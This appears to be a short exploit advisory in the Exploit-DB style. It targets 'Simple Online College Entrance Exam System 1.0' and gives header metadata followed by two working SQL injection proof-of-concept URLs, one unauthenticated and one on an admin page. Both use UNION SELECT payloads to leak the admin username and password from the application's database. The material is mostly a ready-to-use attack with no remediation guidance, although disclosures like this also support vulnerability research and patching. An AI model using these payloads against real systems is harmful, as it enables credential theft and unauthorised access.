Simple Online College Entrance Exam System 1.0 - 'Multiple' SQL injection

# Exploit Title: Simple Online College Entrance Exam System 1.0 - 'Multiple' SQL injection
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Multiple SQL injections

The following PoCs will leak the admin username and password:

Unauthenticated:
    http://127.0.0.1/entrance_exam/take_exam.php?id=%27+UNION+SELECT+1,username||%27;%27||password,3,4,5,6,7+FROM+admin_list;

Admin:
    http://127.0.0.1/entrance_exam/admin/view_enrollee.php?id=1'+UNION+SELECT+1,2,3,4,5,6,password,username,9,10,11,12,13,14,15+FROM+admin_list;